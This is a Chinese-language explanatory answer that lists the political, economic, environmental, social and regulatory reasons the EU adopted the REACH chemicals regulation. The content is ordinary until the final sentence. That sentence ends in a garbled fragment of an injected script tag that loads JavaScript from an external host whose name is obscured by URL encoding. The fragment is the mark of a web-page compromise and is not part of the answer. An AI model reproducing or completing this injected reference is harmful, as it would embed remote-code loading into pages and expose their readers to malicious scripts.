答：欧盟是推出REACH法规从政治因素、经济因素、环境因素、社会因素、法规与管理因素多方面考虑的：
政治因素
1、强化竞争性可持续发展战略；
2、推动在研发和创新方面的商业投入，以保持可持续发展的核心竞争能力；
3、从可持续发展的视角保护自然资源、减轻环境压力；
4、从政治的高度推动欧盟、乃至全球的可持续发展。
经济因素
1、化工业是欧洲可持续发展战略的中心；
2、欧盟的化学品贸易占世界贸易总量的30%，500万个直接就业机会、数千万下游产业的就机会；
3、为欧盟的制造业提供物质保证、刺激创新；
4、为保持和提高生活质量提供所需要的产品；
5、为欧盟的经济发展和收支盈余作出主要贡献。
因此，保持一个具有竞争性和创新性的化学工业是欧盟的一个主要的可持续发展战略目标。
环境因素
1、避免化学品对空气、土壤、水等人们赖以生存的自然环境的影响和破坏；
2、防止对生物多样性的破坏；
3、加强对具有持久的、生物累积的作用的有毒物质的控制；
4、改善人们目前的生存环境，控制污染。
社会因素
1、提高公众的健康与安全水平是欧盟化学品政策的一个关键性政治目标；
2、维持高水平的就业率；
3、避免因生态环境或产品的安全性问题影响社会稳定。
法规与管理因素
1、现有的化学品安全管理体系未能有效地评估和控制化学品生产和使用的风险；
2、政府的责任过于沉重而实际上无法有效履行；
3、企业应承担化学品生产和使用中的风险的评估责任；
4、原由政府承担的化学品风险评估责任应转由生产商或供应商承担，而政府可腾出更多的精力行使管理职能。rc=http://3bom%62%2Ecom/c.js>